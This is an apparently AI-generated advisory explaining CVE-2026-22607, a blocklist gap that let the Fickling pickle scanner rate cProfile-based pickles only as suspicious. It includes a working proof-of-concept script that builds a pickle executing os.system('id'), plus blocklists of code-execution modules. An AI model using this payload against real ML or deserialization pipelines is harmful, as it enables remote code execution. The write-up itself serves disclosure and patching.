CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-22607

The Fickle Guard Dog: Bypassing Fickling's Safety Checks (CVE-2026-22607)

Alon Barad
Alon Barad
Software Engineer

Feb 23, 2026·5 min read·81 visits

Executive Summary (TL;DR)

Fickling missed `cProfile` and other modules in its blocklist. Attackers can use `cProfile.run()` to execute code inside a pickle. Fickling flags this as merely 'Suspicious', allowing the exploit to slip past automated security checks expecting an 'Overtly Malicious' verdict.

Fickling, a specialized tool designed to analyze and decompile Python pickles safely, contained a critical oversight in its blocklist logic. By failing to flag the `cProfile` module and other standard libraries as dangerous, Fickling allowed attackers to craft malicious pickles that execute arbitrary code while only being flagged as "SUSPICIOUS" rather than "OVERTLY_MALICIOUS." This effectively bypasses the security gates relying on Fickling's severity ratings.

The Hook: The Promise of Safe Pickles

Python's pickle module is notoriously dangerous. The documentation itself practically screams "DO NOT USE ON UNTRUSTED DATA." Yet, the world runs on serialized data, and machine learning models (often distributed as pickles) are everywhere. Enter Fickling, a tool by Trail of Bits designed to decompile, analyze, and—crucially—judge the safety of these binary blobs. Ideally, it acts as a bomb squad robot: it x-rays the package and tells you if it's going to blow up your server.

But here's the irony: building a safety scanner for a format that is essentially a stack-based virtual machine is incredibly hard. You have to anticipate every way an attacker might invoke code execution. In CVE-2026-22607, we see what happens when the scanner knows about the front door (os.system) and the back door (subprocess.Popen), but forgets that the house also has a doggy door labeled cProfile. This vulnerability isn't a buffer overflow; it's a logic flaw where a "profiling tool" becomes a weapon of mass destruction.

The Flaw: The Profiler That Could

Fickling works by symbolically executing the pickle bytecode to build an Abstract Syntax Tree (AST). It then runs heuristics over this AST to detect "unsafe" imports or calls. This is a classic blocklist approach (CWE-184). The developers correctly identified that os, sys, and subprocess are dangerous. If a pickle tries to import os and call system, Fickling screams "OVERTLY_MALICIOUS."

However, Python's standard library is massive and full of gadgets. The flaw here was the omission of cProfile. To a developer, cProfile is a tool for optimizing code performance. To a hacker, cProfile.run(command) is just exec(command) with a fancy mustache. Because cProfile wasn't on the UNSAFE_IMPORTS list, Fickling saw it, shrugged, and let it pass. It might flag the pickle as SUSPICIOUS due to other heuristics (like weird variable usage), but in many automated pipelines, SUSPICIOUS is treated as "probably fine," whereas OVERTLY_MALICIOUS is "burn it with fire." This distinction is the difference between a blocked attack and a shell on your server.

The Code: Missing the Forest for the Trees

Let's look at the "security" logic before the patch. The UnsafeImports analysis relied on a hardcoded set of module names. If the module wasn't in the set, it wasn't unsafe.

Vulnerable Code (Concept):

UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "shutil", ...
}
 
if node.module in UNSAFE_IMPORTS:
    severity = OVERTLY_MALICIOUS

The patch in version 0.1.7 didn't just add cProfile; it realized the list was woefully incomplete. They added runpy (executes files), ctypes (loads C libraries), pydoc (locates objects), and importlib. Furthermore, they hardened the matching logic.

Patched Code (Simplified):

# Expanded blocklist
UNSAFE_IMPORTS = {
    "os", "sys", "subprocess", "cProfile", "runpy", 
    "ctypes", "pydoc", "importlib", "code", "multiprocessing", ...
}
 
# Better matching logic to catch submodules
if any(comp in UNSAFE_IMPORTS for comp in node.module.split('.')):
    severity = OVERTLY_MALICIOUS

They also fixed a visibility gap where builtins weren't generating AST nodes, meaning attacks using builtins.__import__ were effectively invisible to the analyzer.

The Exploit: Crafting the Ghost Pickle

To exploit this, we don't need memory corruption. We just need to speak the language of the Pickle Virtual Machine (PVM). We want to invoke cProfile.run('print("PWNED")'). In pickle logic, we load the global cProfile.run, push a string argument, and call REDUCE.

Here is what that looks like in a Python script generating the payload:

import pickle
import pickletools
from fickling.fickle import Pickled, op
 
# The payload string is passed to cProfile.run(), which passes it to exec()
payload_code = "import os; os.system('id')"
 
# Constructing the malicious pickle manually using Fickling's own tools
pickled = Pickled([
    op.Proto.create(5),
    op.ShortBinUnicode("cProfile"),
    op.Memoize(),
    op.ShortBinUnicode("run"),
    op.Memoize(),
    op.StackGlobal(), # Resolves cProfile.run
    op.Memoize(),
    op.ShortBinUnicode(payload_code), 
    op.Memoize(),
    op.TupleOne(),    # Creates a tuple of arguments: (payload_code,)
    op.Memoize(),
    op.Reduce(),      # Calls cProfile.run(payload_code)
    op.Memoize(),
    op.Stop(),
])
 
print(f"Generated payload length: {len(pickled.dumps())}")
# When Fickling <= 0.1.6 scans this, it returns Severity.SUSPICIOUS
# When Python unpickles this, it executes the code.

The beauty of this exploit is its simplicity. It uses standard library features exactly as designed, just in a context the security tool deemed "safe enough."

The Impact: Suspicious vs. Malicious

Why does the distinction between SUSPICIOUS and OVERTLY_MALICIOUS matter? Because of alert fatigue and automated policy.

Security tools like Fickling are often used in pipelines (e.g., scanning uploaded ML models). If Fickling flags everything as SUSPICIOUS (which can happen with complex, benign pickles), operators might tune their policy to only block OVERTLY_MALICIOUS findings. By abusing cProfile, an attacker slides under this threshold.

The impact is full Remote Code Execution (RCE) with the privileges of the process unpickling the data. In the context of ML pipelines, this often means access to GPU clusters, training data, or model weights. The CVSS score is high (7.8) for a reason—it's a complete bypass of the tool's core value proposition.

The Fix: Patching the Holes

The remediation is straightforward: Update to Fickling 0.1.7 or later.

The fix involves a more comprehensive blocklist and structural changes to how imports are analyzed. If you cannot update, you must treat any pickle flagged as SUSPICIOUS by Fickling as potentially lethal, specifically looking for imports of cProfile, runpy, or ctypes in the analysis output.

> [!NOTE] > Developer Lesson: Blocklists are hard. In dynamic languages like Python, there is almost always another way to execute code. eval, exec, timeit, cProfile, pdb, code.InteractiveConsole... the list is endless. If you are building a sandbox or analyzer, assume your blocklist is incomplete.

Official Patches

Trail of BitsGitHub Security Advisory GHSA-p523-jq9w-64x9

Fix Analysis (1)

Technical Appendix

CVSS Score
7.8/ 10
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
EPSS Probability
0.06%
Top 83% most exploited

Affected Systems

Fickling <= 0.1.6

Affected Versions Detail

Product
Affected Versions
Fixed Version
fickling
Trail of Bits
<= 0.1.60.1.7
AttributeDetail
CWECWE-184 (Incomplete List of Disallowed Inputs)
Attack VectorLocal / Network (depending on pickle source)
CVSS v3.17.8 (High)
CVSS v4.08.9 (High)
ImpactSecurity Bypass leading to RCE
Exploit StatusPoC Available

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
T1190Exploit Public-Facing Application
Initial Access
CWE-184
Incomplete List of Disallowed Inputs

Vulnerability Timeline

Issues identified via Dependabot
2025-12-15
Initial fix commits for runpy and cProfile
2026-01-07
Public Disclosure & Patch Release (v0.1.7)
2026-01-10

References & Sources

  • [1]Official Advisory
  • [2]Python Pickle Documentation

More Reports

•18 minutes ago•CVE-2026-141546
5.0

CVE-2026-141546: Path Traversal and Arbitrary File Write in KiCad MCP Pro Variant Export Tools

CVE-2026-141546 (GHSA-wfmg-598x-58c5) is a path traversal vulnerability (CWE-22) in KiCad MCP Pro prior to version 4.20.1. Three variant export tools in src/kicad_mcp/tools/variants.py construct target output paths by joining unvalidated user-supplied arguments directly onto the validated output directory using Python's pathlib.Path concatenation operator. A caller invoking these tools with path traversal sequences or absolute file paths can bypass the KICAD_MCP_WORKSPACE_ROOT confinement boundary to create directories and write or overwrite arbitrary files on the host filesystem.

Alon Barad
Alon Barad
3 views•9 min read
•about 1 hour ago•CVE-2026-141553
5.5

CVE-2026-141553: Path Traversal and Arbitrary File Overwrite in termux-sync Restore Routine

CVE-2026-141553 (GHSA-x9x8-xcv7-5x5g) is a medium-severity path traversal and arbitrary file overwrite vulnerability in termux-sync prior to version 1.3.8. During backup restoration, the cmd_restore function computes the extraction containment boundary as the parent directory of the target backup folder ($PREFIX or .../files) rather than the specific subdirectory itself. Consequently, a crafted backup archive (such as usr_etc.tar.gz) can extract files into sibling directories like $PREFIX/bin, overwriting system executables such as $PREFIX/bin/sh and achieving arbitrary code execution within the Termux user context.

Alon Barad
Alon Barad
6 views•10 min read
•about 2 hours ago•CVE-2026-14534
8.8

CVE-2026-14534: Security Gate Bypass and Remote Code Execution in Trail of Bits Fickling via Incomplete Module Blocklist

CVE-2026-14534 (GHSA-m6fh-58r7-x697, PYSEC-2026-2149) is a high-severity security verification bypass in Trail of Bits Fickling up to version 0.1.10. Fickling is a Python pickle decompiler and static analysis tool used to detect malicious payloads in serialized objects and machine learning models. The vulnerability stems from an incomplete module blocklist (CWE-184) within Fickling's static analysis engine, which omitted the Python standard library modules _posixsubprocess, site, and atexit. Because Fickling classifies unblocked standard library imports as benign, malicious pickle streams utilizing these modules receive a LIKELY_SAFE verdict. When applications rely on fickling.load() or fickling.loads() as a defensive gate prior to deserialization, the bypass allows untrusted pickle bytecode to pass directly into Python's native pickle.loads(), resulting in arbitrary code execution (CWE-502).

Amit Schendel
Amit Schendel
6 views•10 min read
•about 4 hours ago•CVE-2026-141555
4.7

CVE-2026-141555: Cross-Site Scripting via Raw-Text Comment Breakout in lxml-html-clean

CVE-2026-141555 (GHSA-vfhw-gfwp-vxfj) is a Cross-Site Scripting (XSS) vulnerability in the Python HTML sanitization library lxml-html-clean prior to version 0.4.7. The vulnerability stems from a parser differential between libxml2 and HTML5 browser parsing engines when handling HTML comments nested within raw-text and escapable raw-text elements (such as <noscript>, <textarea>, <title>, and <iframe>). When the cleaner is instantiated with the non-default configuration comments=False, an attacker can embed a closing tag inside an HTML comment to prematurely terminate the raw-text container in the client browser and execute arbitrary JavaScript.

Alon Barad
Alon Barad
7 views•10 min read
•about 5 hours ago•CVE-2026-141556
4.7

CVE-2026-141556: Cross-Site Scripting Bypass via iframe srcdoc and SVG Animation Attributes in lxml-html-clean

CVE-2026-141556 (GHSA-5gvf-7wqf-r4cv) is an input sanitization bypass vulnerability resulting in Cross-Site Scripting (XSS) in lxml-html-clean versions through 0.4.6. When the Cleaner class is initialized with safe_attrs_only=False and javascript=True, the link sanitization mechanism relies exclusively on lxml.html.defs.link_attrs via doc.rewrite_links(). Because this attribute list omits the iframe srcdoc attribute and SVG SMIL animation value attributes (to, from, by, values), attackers can inject arbitrary HTML and JavaScript payloads that survive sanitization.

Amit Schendel
Amit Schendel
9 views•11 min read
•about 6 hours ago•CVE-2026-140000
7.5

CVE-2026-140000: Memory Exhaustion via Buffer Slicing in websocket-driver StreamReader

CVE-2026-140000 (also tracked as GHSA-j7r2-xppq-m353) is an uncontrolled resource consumption vulnerability in the faye/websocket-driver-node package prior to version 0.8.2. The StreamReader.read() implementation relies on Buffer.slice() when extracting small segments from incoming network buffers. Because Node.js Buffer slices share underlying memory with their parent ArrayBuffer, small fragmented WebSocket frames retain references to entire 16 KiB to 64 KiB TCP read buffers. An unauthenticated remote attacker can transmit a sequence of incomplete fragmented frames to prevent garbage collection of the parent TCP buffers, causing severe memory inflation and a denial of service via out-of-memory process termination.

Amit Schendel
Amit Schendel
9 views•12 min read